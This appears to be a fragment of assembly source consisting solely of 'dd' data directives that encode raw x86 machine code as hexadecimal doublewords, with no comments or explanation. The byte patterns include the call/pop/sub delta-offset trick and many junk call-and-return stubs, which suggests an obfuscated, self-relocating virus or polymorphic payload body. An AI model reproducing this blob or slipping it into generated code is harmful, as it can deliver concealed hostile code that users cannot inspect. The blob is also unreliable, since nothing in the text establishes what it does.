		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 0E7B6C351h, 4FC3B651h, 5E9C18Bh, 0DD000000h,	0ABA71F97h
		dd 4EBh, 0BD8B0000h, 5E41BF9h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 4C35747h, 9E8CCBFh
		dd 89571B6Dh, 0E4252D8Dh, 0B5235E05h, 5E40CD5h,	19D5858Dh
		dd 90F905E4h, 50F18B66h, 0AE9h,	0D7710A00h, 0D8414788h
		dd 904B1D9Eh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 19h,	0C4C35646h, 0A1E90F03h,	0A1BD8B47h, 6A05E42Ch
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 10303C2Fh, 56C01A68h, 71BD09C9h,	6A05E420h
		dd 6880F00h, 89000000h,	0E40131BDh, 79858D05h, 0E905E7DCh
		dd 5, 7FB0CFAEh, 5C083A3h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 0C4C35646h, 28619D89h, 669005E4h, 0F50FA8Bh
		dd 1684h, 0E9525000h, 0Bh, 0A56AC49Ch, 972A1F24h, 0FF72792h
		dd 90585A31h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 16h,	0C1C35141h, 8B660FEAh, 81006AFEh, 0F0E3E9E6h, 0F5006A66h
		dd 21A195FFh, 6A05E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 56EE20C3h, 9D8D92DFh, 5E79E7Fh
		dd 2CA1BD89h, 0D3FF05E4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0EC35343h, 0B1408D98h, 61B58996h, 8B05E41Ch
		dd 0E42369B5h, 2D85FF05h, 6A05E414h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 6657C356h
		dd 0FD1ACF38h, 0EB33186h, 29919529h, 0C4E905E4h, 0E8000007h
		dd 0
		dd 83ED815Dh, 6A05E7DCh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 66BFC351h, 0BED0E10h
		dd 815F5115h, 0E40D05BDh, 7D005h, 69860F00h, 6A000001h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0E6FCC350h, 0EE88EB5h, 0DE000000h, 683B7D8Bh
		dd 71975F9Fh, 527555DAh, 27BF6666h, 0E9525E89h,	6, 0CB597134h
		dd 8B5F25FFh, 0E410E19Dh, 1D8D3105h, 8105E41Bh,	100E3h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0F463688Fh, 5DD9D91Dh, 98C0Fh, 66600000h
		dd 0BE66DA8Bh, 0B61A2A9h, 0A7850FDBh, 0E8000000h, 7, 4A6E2A64h
		dd 0FCBC704h, 280h, 5EF28B00h, 0DAADBD83h, 0F0005E7h, 3784h
		dd 41B50900h, 3105E41Ah, 0E421D1BDh, 93E905h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 66E6AFC3h, 8509FB8Bh, 5E430C9h, 0DAAD85C7h, 105E7h
		dd 85890000h, 5E41D95h,	58E9h, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0A34F42Ch
		dd 6820Fh, 0B58B0000h, 5E41075h, 81BD8960h, 8905E422h
		dd 0E409959Dh, 85C76105h, 5E7DAADh, 0
		dd 8E960h, 34170000h, 70A0900Fh, 0B58BD79Fh, 5E4137Dh
		dd 0E19D8D61h, 8B05E410h, 0FF2381FAh, 0BFFFFFFEh, 4C1D4BF3h
		dd 0F6DB8C66h, 840F04C3h, 54h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 0F5C35141h,	0CE9C6CEh, 0F5000000h
		dd 0D521495Dh, 0D88ACDDBh, 0FFD11621h, 0E4113995h, 0C76FBF05h
		dd 8B661857h, 0F5750F8h, 686h, 8F0F00h,	5F000000h, 66240489h
		dd 3592C781h, 3B2E9h, 8900B000h, 0E404C9B5h, 6A70E605h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0F85AC355h, 0AC72869Ch, 8589BB1Eh, 5E4045Dh
		dd 298DB58Bh, 71E405E4h, 13D58589h, 0B70F05E4h,	0D8B60FF7h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0CC35141h
		dd 0D0F64717h, 6BA08h, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 5C89F7C3h, 4087425Eh
		dd 9589F36Bh, 5E41175h,	42DBD29h, 0C38B05E4h, 6A04E8C1h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0B402C356h, 66CBFA9Bh, 9D89E2F7h,	5E413C1h
		dd 7E9h, 2CA27800h, 94CE339Fh, 6AD82Bh,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 97AD6C3h
		dd 0F9365CFh, 0B8Fh, 66525000h,	310FFA8Bh, 585AF98Bh, 0F08B6650h
		dd 99B52393h, 0FF05E42Ch, 0E40D05B5h, 57006A05h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 887CCE4Bh, 6A626E72h, 0FFF825D3h, 0E410C195h, 0F1BF0F05h
		dd 6A00B0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 57148C3h,	0E63FEEFBh, 0BF71E470h,	50D407FFh
		dd 830F613Ch, 233h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 0BAC35747h, 508BBE66h, 6AD8B60Fh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 8BD8C352h, 0E40075B5h, 6BA05h, 0BE80000h, 4C000000h
		dd 3C8997E7h, 9D7BC8CAh, 0AE98E17h, 83000000h, 6FD9AB5Fh
		dd 4ADB3C08h, 0BD295F6Fh, 5E4265Dh, 0E8C1C38Bh,	68BCBF04h
		dd 81660F67h, 662381CEh, 0B503E2F7h, 5E42665h, 6AD82Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 9FEBC6C3h, 0D68166F8h, 6A58CAD2h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 22C4C351h
		dd 2B7929F1h, 5C880FD8h, 66000001h, 0B9D67CBFh,	7, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 15C35343h, 0D6806B0Fh
		dd 0EE816658h, 8E9B9DEh, 0B7000000h, 0FC8F39E9h, 83C7362Ah
		dd 0B58B00C1h, 5E401D1h, 24E9B58Bh, 0D93B05E4h,	109860Fh
		dd 0BD8B0000h, 5E404EDh, 11E9h,	0B9C75200h, 47F917FEh
		dd 74B843F8h, 300698C1h, 8C6692FAh, 666FBED9h, 0C1F600B1h
		dd 0AE840F04h, 0E9000000h, 12h,	0EFCB69BBh, 0C0CC179Bh
		dd 51780708h, 70D90241h, 95FFBA7Eh, 5E41139h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 82C35646h, 0C67AA528h
		dd 81666DD8h, 5BA377E7h, 96DBD23h, 0C32B05E4h, 8E9h, 7516AD00h
		dd 0CCD7D5h, 8343D5Eh, 860F0000h, 49h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 55C35646h, 0E9F38BEAh, 53h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0EAC35141h
		dd 89F608D9h, 0E41B8D85h, 6AC08B05h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 1291C356h
		dd 8BF2FF22h, 0E408DDBDh, 44EE8105h, 8B5CD522h,	89D88BC3h
		dd 0E432018Dh, 3585C705h, 0F905E417h, 2916FB43h, 0E4200DB5h
		dd 50C08B05h, 6890Fh, 0BD290000h, 5E40FB5h, 5BD815Fh, 0D005E40Dh
		dd 0F000007h, 4A85h, 0DD9D8900h, 0FF05E41Ah, 0E40D0585h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 6B17901Ch, 12E960h, 0D9B0000h, 827FC900h
		dd 0B3493F85h, 0BAAD9F86h, 8FD57D95h, 16398589h, 0FF6105E4h
		dd 0E40D05B5h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 33E7B81Ch, 0BD33A316h
		dd 5E42AF5h, 10C195FFh,	6A05E4h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0AF402BC3h, 18FAF6E1h
		dd 850FCAA7h, 6, 6E68DF81h, 0B58B15E8h,	5E42A09h, 0E5B58B90h
		dd 6605E427h, 0E47CDE81h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 25C35242h, 837656E7h,	0E80AFDB6h, 9
		dd 0BB0EB692h, 0CCA31930h, 0FE98Ch, 0B9DD0000h,	52D90494h
		dd 0A2DA8C02h, 3FECB0C6h, 9D895E96h, 5E404F9h, 0C61BD781h
		dd 9D892EBCh, 5E400FDh,	291D9589h, 0F78B05E4h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0FFC35040h, 0EF0F59FDh
		dd 11B589DFh, 0E905E41Dh, 11h, 2500D9F2h, 529341D0h, 0BE7C24E4h
		dd 4D836385h, 0C8ABBE71h, 8B665436h, 51006AFBh,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 92804791h
		dd 0B58B0C2Ah, 5E40D5Dh, 9D858960h, 0F05E42Bh, 0C85h, 8D0F00h
		dd 8B000000h, 0E42A2DB5h, 85896105h, 5E421BDh, 2A418529h
		dd 52BF05E4h, 0E968EDB0h, 0FFFFF84Bh, 2A6DBD09h, 0B50905E4h
		dd 5E402F1h, 8BFEB70Fh,	4EBC1h,	1000000h, 0E404AD8Dh, 0C5BD8905h
		dd 8905E42Ah, 0E413A195h, 0D5858D05h, 6A05E419h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0F145C356h, 74BD6BCAh, 1C29BD8Bh, 509005E4h,	5A310F52h
		dd 6A905058h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 53B2C355h, 0F78B667Ch,	6A006Ah
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 92C35343h
		dd 5209A7EDh, 135F7BD2h, 0B5852902h, 8D05E419h,	0E7E5F885h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 800F3BF9h, 6, 2A65BD8Bh,	0C08305E4h, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 86397E61h, 0D574DC35h, 89501330h, 0C0BE2404h, 6A499727h
		dd 118D8900h, 6A05E413h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 9FE5CF89h, 0A195FF32h
		dd 6A05E421h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 69E4C357h, 8DF3B70Fh, 0E79E7F9Dh
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 8077AC21h, 998FFC62h, 0FEB70F62h, 6AD3FFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 46032DC3h, 8960C2C0h, 0E4141185h, 85FF6105h,	5E4142Dh
		dd 3880Fh, 8B660000h, 885E9F8h,	0E80000h
		dd 5D000000h, 0E602ED81h, 0F78105E7h, 2C2183E8h, 0D05BD81h
		dd 7D005E4h, 860F0000h,	162h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0C0C35242h,	0D4141319h, 0D19D8BE8h
		dd 8B05E414h, 0E41F09BDh, 0E38105h, 6A000001h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 4542C353h, 49D16h, 0C1B58B66h, 0B05E41Ch, 9C850FDBh
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0FE42C357h, 80A4676Ah,	92C7B509h
		dd 1C319589h, 0BD8305E4h, 5E7E446h, 11840F00h, 89000000h
		dd 0E4272585h, 69E905h,	8D890000h, 5E4216Dh, 0E44685C7h
		dd 105E7h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 71046CC3h, 35E989h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0EAFFCAC3h, 0D4E6BDBDh, 0C7C4BC82h, 0E7E44685h, 5, 81BD8B00h
		dd 8D05E419h, 0E414D19Dh, 0C1958905h, 0B05E42Ch, 0E42DB1BDh
		dd 0FF238105h, 6AFFFFFEh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0C98DC352h,	0B42146C2h
		dd 8E50F5F0h, 0A8C0Fh, 5E90000h, 3C000000h, 526C7F93h
		dd 1D15BD8Bh, 8C6605E4h, 0DE9DBh, 0FB570000h, 0C5488D10h
		dd 44331D16h, 0F65BFDE1h, 840F04C3h, 6Bh, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 19h, 42C35545h, 0E74C9644h
		dd 8B666097h, 75B589F1h, 6105E402h, 0FFFFB70Fh,	0E4113995h
		dd 0BF0FF505h, 0B8BF90F9h, 507DC332h, 0CDF971BFh, 6A9032h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 27A295C3h, 5FC3C647h, 0E9F78BEBh, 441h, 0D5D9D89h, 0B005E4h
		dd 45B50Bh, 70E605E4h, 0E4F88B66h, 55006A71h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 700196C3h
		dd 8B668D36h, 0D8B60FF8h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0DFC35646h, 7A5886D2h, 6BADF3Bh, 29000000h
		dd 0E4012DB5h, 6AC38B05h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 3950C353h, 0C1D1AA90h
		dd 6A04E8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 78AC94C3h, 0E9EC1ABCh, 0DD8D8990h, 6605E431h
		dd 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0FCADB0C3h, 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 187F1FC3h, 2DB50132h
		dd 5005E418h, 60525051h, 50310F61h, 5A310F52h, 5E585A58h
		dd 6A241C89h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 45E8C357h, 0AD9E6804h,	939DF43h
		dd 0E41C09B5h, 5B5FF05h, 6A05E40Dh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0B685C355h
		dd 8CA18C1Fh, 800FC483h, 0Ch, 68C0Fh, 8D890000h, 5E4086Dh
		dd 10C195FFh, 0BD8B05E4h, 5E4266Dh, 6A00B0h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 1A5A3DC3h
		dd 71F15A1Ah, 36BE66ECh, 6A70E605h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0AA43C353h
		dd 89F4A722h, 0E4251D85h, 6A71E405h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 9DDBC351h
		dd 7CD353B7h, 4E26AA5Fh, 1AD3BE66h, 830F613Ch, 239h, 0E9D8B60Fh
		dd 10h,	74850930h, 56B805DCh, 0DF142CB1h, 669025C0h, 6BAh
		dd 1ABF6600h, 0C1C38BCAh, 9D8904E8h, 5E42589h, 21E19D29h
		dd 0F76605E4h, 0D68166E2h, 0D82B242Fh, 24F5B58Bh, 6A5805E4h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 3CC4C356h, 5EEE1F7h, 7E8E2h, 795A0000h, 8AAD2FF3h
		dd 0C8E0FB8h, 0E8000000h, 6, 0A9CC2E1Ch, 5E5E591Fh, 880FD82Bh
		dd 1ADh, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 18h,	42C35343h, 0FAA1728Dh, 0BA2BE66h, 7B9h,	6DBF6600h
		dd 0C183E1h, 0B58B5250h, 5E42589h, 0BD8B5F5Eh, 5E40839h
		dd 860FD93Bh, 165h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0D1C35040h, 0CE866h, 0D8950000h, 9BCD5292h
		dd 9296123Dh, 665F4D90h, 6AD98Ch, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0BE66C8C3h, 0C1F631E6h
		dd 0DF840F04h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 1D4DC355h, 0FFFCCC38h
		dd 0E4113995h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0C6234100h, 95C29E97h
		dd 53006A5Bh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0C4FE940Bh, 51E909FCh, 5FF3BF0Fh, 25D1B58Bh
		dd 0C32B05E4h, 29ADB523h, 343D05E4h, 0F000008h,	5586h
		dd 0C8C0F00h, 0F000000h, 686h, 81B58B00h, 0E905E408h, 69h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 26C35545h
		dd 430B93E8h, 9E9EF9Dh,	0F9000000h, 96BB9436h, 6501A5C9h
		dd 298D8B60h, 8B05E40Dh, 0E407C5B5h, 0C08B6105h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0DC35040h, 0BD897B11h
		dd 5E41C25h, 0C0C78166h, 8BC38B9Bh, 0DE953D8h, 0A9000000h
		dd 1D93FA93h, 0ABFD2AEh, 95F9B503h, 0E185C75Eh,	5F05E410h
		dd 0F78FDBFh, 0C08BF9B7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0DBC35545h, 3AFD267Bh, 19830F97h, 60000000h
		dd 0FE9h, 399FB200h, 3660F7B5h,	664B11BDh, 0F983054h, 6101C880h
		dd 1705DE81h, 0BD81114Dh, 5E40D05h, 7D0h, 3C850Fh, 0B58B0000h
		dd 5E41741h, 829B58Bh, 85FF05E4h, 5E40D05h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0B0C35343h, 0B730F956h
		dd 5E3DAF0Ch, 1AE9B533h, 0B5FF05E4h, 5E40D05h, 0AE860h
		dd 0B9490000h, 0BB99E6D8h, 0E90CB925h, 820Fh, 0E85F0000h
		dd 8, 2460D564h, 43AB19A8h, 6159CAB3h, 10C195FFh, 816605E4h
		dd 90E9D9C6h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 18h,	39C35242h, 44114CE8h, 7E9h, 0FACF1800h,	55122297h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 48C35646h
		dd 2CDD9D89h, 0B46005E4h, 358589AEh, 8105E415h,	81089E7h
		dd 61F18B50h, 68F0Fh, 0BD8B0000h, 5E407C5h, 134DBD89h
		dd 6A05E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 9BFDA1C3h, 0E250994Dh, 6AF08B7Bh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 67B4C352h, 0B4F9129Eh, 8B0F4B08h
		dd 0E40F61BDh, 0DE95205h, 47000000h, 1877D4F1h,	9C53D2BAh
		dd 73A08913h, 24DDB529h, 665F05E4h, 6A34B1BEh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 9883C356h, 0D99D89E8h, 0E905E41Eh, 0FFFFF7B2h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 1BC35545h, 9589607Fh
		dd 5E42819h, 1F71B58Bh,	0E96105E4h, 7, 57610035h, 8BAF766Ah
		dd 0B58B51C1h, 5E40CB1h, 0ABE7BF5Eh, 4EB396Eh, 0
		dd 0BD09FA8Bh, 5E41649h, 5F5E5253h, 19D5858Dh, 8D8905E4h
		dd 5E41431h, 5E96050h, 0C1000000h, 842F14FCh, 1BF944BEh
		dd 489616Eh, 5E924h, 8AE50000h,	60E04360h, 0FDDDBA66h
		dd 6A61F9h, 9E956h, 0E9360000h,	1DC4A54Ah, 5F683D29h, 6A006Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0F28B40C3h, 0DB5BD8Bh, 858D05E4h, 5E7F003h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 5AC35141h, 86DEDAA0h
		dd 0A8CCFFDCh, 5C08391h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 2CC35646h, 0F7DC7EBAh, 507EC701h, 7754D4BFh
		dd 2404897Dh, 7E8h, 2EA33300h, 0A62C7B09h, 806DE81h, 8B5E4256h
		dd 0E41165BDh, 6A006A05h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 76FAC350h, 4F794EBFh
		dd 6A791BA7h, 7E900h, 0C76C0000h, 3BDCE2A3h, 0A195FFE9h
		dd 8B05E421h, 0E42209B5h, 7F9D8D05h, 6A05E79Eh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 259DC356h, 26D266Bh,	77229A4Dh, 2019B589h, 0D3FF05E4h
		dd 500ABF66h, 142D85FFh, 0B50B05E4h, 5E42589h, 838E9h
		dd 0E800h, 815D0000h, 0E7F00DEDh, 8B665705h, 0BD815EF3h
		dd 5E40D05h, 7D0h, 1B7860Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 94280BC3h
		dd 0BD8BF38Bh, 5E408FDh, 0FED9D8Bh, 6A05E4h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0DC76D9C3h
		dd 2C77480Fh, 66F598A2h, 0E381FB8Bh, 100h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0AFC35040h, 0F7DA828h
		dd 0DB0BF6BFh, 0F4850Fh, 0CE80000h, 5C000000h, 110717CCh
		dd 4F9AD8CDh, 5693273Eh, 5EF8BF0Fh, 93BD835Eh, 5E7EEh
		dd 63840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0E8604AC3h, 0Dh,	8056B9AFh, 4E91D4CBh
		dd 10A070BBh, 5BAFB5F8h, 3E98589h, 0E96105E4h, 0A1h, 0DDCE8166h
		dd 0AE86053h, 0CB000000h, 0C245B67Bh, 0DC0282EAh, 0C88B665Bh
		dd 0E1816059h, 22AAC00Bh, 61C68B66h, 9385C761h,	105E7EEh
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 7533C352h, 0C8478940h,	13E8F94Eh
		dd 25000000h, 0D7D8409Eh, 968FF3D9h, 59865575h,	0C3E4CF82h
		dd 0B503B9B5h, 5E420E5h, 2BE95Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 85C79BC3h
		dd 5E7EE93h, 0
		dd 0F1E68166h, 0ED9D8D23h, 6A05E40Fh, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0D97FC350h
		dd 81B58BCBh, 8105E426h, 0FFFEFF23h, 0DB8C66FFh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 19C35646h, 66A4B608h
		dd 0C8A9C681h, 0F04C3F6h, 5184h, 860F00h, 0FF000000h, 0E4113995h
		dd 13E905h, 0B9D30000h,	72C4E4F2h, 37B66D52h, 4CAA0DF5h
		dd 8949F55Bh, 0BF6650CEh, 4891153h, 50006A24h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 95ADD041h
		dd 202D9D29h, 77E905E4h, 8B000003h, 0E400CDB5h,	6A00B005h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 0A6E9C357h, 6670E6F1h, 6DECDE81h,	858971E4h
		dd 5E403A1h, 6AD8B60Fh,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0CB1DC353h,	0F1858913h
		dd 0BE05E41Dh, 5345114Ch, 6BAh,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 82B07Ch, 8BC38B74h
		dd 0E40D5DBDh, 4E8C105h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Bh, 7CC35141h, 4B86572Dh,	294880DDh, 0E4280D95h
		dd 0E5BD3305h, 6605E412h, 6AE2F7h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 5529AC3h, 2BF88B1Eh
		dd 50006AD8h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 6E835h, 96230000h, 86F476A1h, 2A958D89h
		dd 8B5F05E4h, 8B6650F1h, 241C89F8h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 0F4C35343h,	8149FD6Fh, 2312E173h
		dd 0E42675BDh, 5B5FF05h, 6A05E40Dh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 3BAFC356h
		dd 0CE9B2h, 0DF0C0000h,	0ED4D2748h, 0E9CFDD88h,	95FFDE61h
		dd 5E410C1h, 0F3F1BF66h, 6A00B0h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0DE3538C3h, 0BBA5CB8Fh
		dd 6670E6F8h, 0E4AABFBEh, 57006A71h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0A0C692E4h
		dd 89395096h, 0E4227D8Dh, 0F613C05h, 19583h, 0CF816600h
		dd 0B60F4D84h, 51006AD8h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 8BF18811h, 0E42709B5h
		dd 6BA05h, 0BF0F0000h, 66C38BFEh, 0DF50DE81h, 0F04E8C1h
		dd 68Bh, 0E9B58B00h, 6605E419h,	6AE2F7h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 329B6CC3h
		dd 65762048h, 0D82BABDFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0BBC35343h, 0C8B550C2h, 8B58CCACh, 0E40CB1B5h
		dd 0FD82B05h, 0F188h, 0FEBF0F00h, 7B9h,	9D895000h, 5E4319Dh
		dd 0C1835Eh, 0BE9h, 88148700h, 6D3CBAFAh, 0D56A54F0h, 860FD93Bh
		dd 0C6h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 18h,	0F8C35545h, 3D24AE4h, 0D98C66F9h, 0DAD8589h, 0C1F605E4h
		dd 6C840F04h, 9000000h,	0E422359Dh, 0FB8B6605h,	113995FFh
		dd 820F05E4h, 0
		dd 6DB5335Bh, 2B05E409h, 0ED8589C3h, 3D05E420h,	834h, 3D860Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 6BE949C3h, 48F7ADCAh, 3CE94Fh, 9E80000h
		dd 7E000000h, 281E1B76h, 0A7459D31h, 2A05B58Bh,	8B5E05E4h
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0C642971Ah, 4E378950h, 0C38B32C1h, 6AD88Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0DD4E9BC3h, 85C7E5E5h, 5E414D1h, 3EBEEF9Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0EDC35747h, 85313B77h
		dd 5E41AFDh, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 755144C3h, 19C8F836h, 8172568Bh
		dd 0E40D05BDh, 7D005h, 38850F00h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 2A3EC355h, 950153C0h, 5E41849h, 585FF5Fh, 6005E40Dh
		dd 24A98529h, 0BB6605E4h, 0FF619D51h, 0E40D05B5h, 53006A05h
